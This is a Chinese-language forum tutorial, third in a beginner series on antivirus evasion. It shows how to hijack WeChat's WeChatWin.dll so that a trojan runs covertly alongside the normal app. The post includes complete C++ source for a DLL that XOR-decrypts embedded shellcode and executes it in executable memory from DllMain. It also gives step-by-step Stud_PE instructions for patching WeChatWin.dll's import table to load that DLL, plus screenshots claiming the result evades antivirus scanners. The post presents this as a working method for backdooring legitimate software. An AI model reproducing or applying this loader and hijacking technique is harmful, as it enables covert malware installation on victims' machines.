新手上路
- 資源幣
- 15
- 積分
- 20
- 貢獻(xiàn)
- 0
- 在線時(shí)間
- 2 小時(shí)
- 注冊時(shí)間
- 2020-2-21
- 最后登錄
- 2020-5-3
|
零基礎(chǔ)入門學(xué)免殺(三)
第三期在當(dāng)初寫第二期的時(shí)候我就想好了如何寫什么,雖然K總一直催我寫第三期,但是由于最近比較忙,一直在做 哎……. 所以額一直推到今天才開始寫。第三期呢我考慮的是劫持dll過后讓程序能夠正常運(yùn)行,達(dá)到更隱蔽的運(yùn)行木馬,由于朋友要求所以這次我拿的是微信來做的演示,制作期間遇到了很多問題,利用網(wǎng)上前輩的一些方法和工具行不通(可能是我太菜了),最后我下定決心以損失一次做*的時(shí)間為代價(jià)終于把它搞定了。下面我會(huì)提到我所遇到的問題,我個(gè)人不是很喜歡寫東西,所以這部分我不會(huì)詳細(xì)的說明,成功那一塊我會(huì)細(xì)說,B話不多說了,先上車吧。
查看可劫持DLL:
這一步老規(guī)矩,使用ProcessMonitor查看程序所加載的DLL,這次不需要第一個(gè)加載,隨便找一個(gè)加載的就行了,最好是當(dāng)前目錄
1.png (82.06 KB, 下載次數(shù): 95)
下載附件
保存到相冊
2020-2-21 22:36 上傳
2.png (424.73 KB, 下載次數(shù): 92)
下載附件
保存到相冊
2020-2-21 22:36 上傳
隨便找了一個(gè)WeChatWin.dll,接下來就用這個(gè)dll做劫持演示
失敗的例子1:
首先我想到的第一個(gè)思路是利用IDA查看WeChatWin.dll所有的函數(shù)類型,然后自己寫一個(gè)test.dll,把WeChatWin.dll所有的函數(shù)移到test.dll,之后再調(diào)用WeChatWin.dll相應(yīng)的函數(shù)。
3.png (446.24 KB, 下載次數(shù): 100)
下載附件
保存到相冊
2020-2-21 22:36 上傳
可以看到有很多的函數(shù),并且我唯一會(huì)的F5大法失效了。函數(shù)太多也不可能挨著試,并且我們要還原每個(gè)函數(shù),工作量巨大。那么對于相對較懶的我來說這個(gè)方法行不通。PS:我這里貼一張腦圖吧,測試代碼我就不寫了。
4.png (32.09 KB, 下載次數(shù): 101)
下載附件
保存到相冊
2020-2-21 22:37 上傳
腦圖中的WeChatWin.dll是自己寫的dll
test.dll為原來的WeChatWin.dll
假設(shè)function a 是wechat啟動(dòng)第一個(gè)調(diào)用的函數(shù),當(dāng)然你也可以加到其他函數(shù)里
失敗的例子2:
由于函數(shù)太多自己寫太麻煩,我想到了利用工具自動(dòng)化實(shí)現(xiàn)。我在網(wǎng)上找到了一款工具DLL_Hijacker,可以自動(dòng)生成C語言文件調(diào)用原dll的所有函數(shù)
5.png (324.98 KB, 下載次數(shù): 99)
下載附件
保存到相冊
2020-2-21 22:38 上傳
源碼如圖
6.png (138.21 KB, 下載次數(shù): 101)
下載附件
保存到相冊
2020-2-21 22:38 上傳
我隨便截取了一部分源碼,發(fā)現(xiàn)確實(shí)可以調(diào)用,但是有個(gè)問題 函數(shù)命名出現(xiàn)了@,編譯的時(shí)候會(huì)報(bào)錯(cuò),根據(jù)測試,只要是原dll的函數(shù)當(dāng)中帶有形參的都會(huì)出現(xiàn)@符號,解決的方法就是用上面的辦法用IDA把帶有@的函數(shù)自己寫一遍。這里出現(xiàn)帶有@的函數(shù)太多顯然我不回去這么做,所以此路不通…….
柳暗花明又一村:
糾結(jié)了許久,我想到了以前玩劫持免殺遠(yuǎn)控的時(shí)候用到過的一個(gè)方法:給正常程序添加一個(gè)輸入表,可以用到這里。具體實(shí)現(xiàn)方法如下
一:新建一個(gè)執(zhí)行shellcode的dll
利用第一期里面的方法二,先給shellcode進(jìn)行加密,再解密運(yùn)行,這里需要注意三點(diǎn)
執(zhí)行shellcode的命令必須放在dll的主函數(shù)里“DllMain”
需要新建一個(gè)線程運(yùn)行shellcode
必須有一個(gè)導(dǎo)出函數(shù),函數(shù)里面的內(nèi)容隨意就好
代碼如下:
// dllmain.cpp : 定義 DLL 應(yīng)用程序的入口點(diǎn)。
#include
"stdafx.h"
#include
<windows.h>
#include
<iostream>
#define
KEY
0x97
unsignedchar
shellcode[] =
"\x6b\x7f\x1e\x97\x97\..... "
;
//這里寫加密shellcode
HANDLE
My_hThread
= NULL;
DWORD WINAPI ceshi(LPVOID pParameter)
{
unsignedchar
c[
sizeof
(shellcode)];
//獲取shellcode長度
for
(
int
i =
0
; i <
sizeof
(shellcode) -
1
; i++)
{
c = shellcode ^ KEY;
//進(jìn)行解密
}
LPVOID
Memory
=
VirtualAlloc
(NULL,
sizeof
(c), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(
Memory
, c,
sizeof
(c));
((
void
(*)())
Memory
)();
return
0
;
}
BOOL APIENTRY
DllMain
( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch
(ul_reason_for_call)
{
case
DLL_PROCESS_ATTACH:
//初次調(diào)用dll的時(shí)候執(zhí)行下面的
My_hThread
= ::
CreateThread
(NULL,
0
, &ceshi,
0
,
0
,
0
);
//新建線程
break
;
case
DLL_THREAD_ATTACH:
case
DLL_THREAD_DETACH:
case
DLL_PROCESS_DETACH:
break
;
}
//ceshi();
return
TRUE;
}
extern
"C"
_declspec(dllexport)
void
test()
{
int
a;
a =
0
;
}
這段代碼大概的意思就是 當(dāng)dll被調(diào)用的時(shí)候就執(zhí)行shellcode解密并且運(yùn)行,所以必須要一個(gè)新建一個(gè)導(dǎo)出函數(shù)才能夠調(diào)用
我用的是vs2017編譯的
編譯好之后我們先用loadpe看一下是否有輸入表
7.png (194.75 KB, 下載次數(shù): 93)
下載附件
保存到相冊
2020-2-21 22:39 上傳
程序沒問題,接下來就是給WeChatWin.dll添加輸入表,這里需要用到的工具為Stud_PE 大家自行百度下載
操作步驟:打開Stud_PE-拖入WeChatWin.dll-點(diǎn)擊函數(shù)欄-右鍵添加新的輸入表-DLL選擇-選擇函數(shù)-添加清單-加入
之后把自己的dll放到WeChatWin.dll同目錄下運(yùn)行微信即可。
8.png (491.23 KB, 下載次數(shù): 91)
下載附件
保存到相冊
2020-2-21 22:39 上傳
9.png (196.95 KB, 下載次數(shù): 95)
下載附件
保存到相冊
2020-2-21 22:40 上傳
先測試一下靜態(tài)免殺效果:
10.png (276.57 KB, 下載次數(shù): 91)
下載附件
保存到相冊
2020-2-21 22:40 上傳
動(dòng)態(tài)免殺效果:
運(yùn)行微信
11.png (46.86 KB, 下載次數(shù): 92)
下載附件
保存到相冊
2020-2-21 22:41 上傳
:
12.png (81.06 KB, 下載次數(shù): 89)
下載附件
保存到相冊
2020-2-21 22:41 上傳
|
|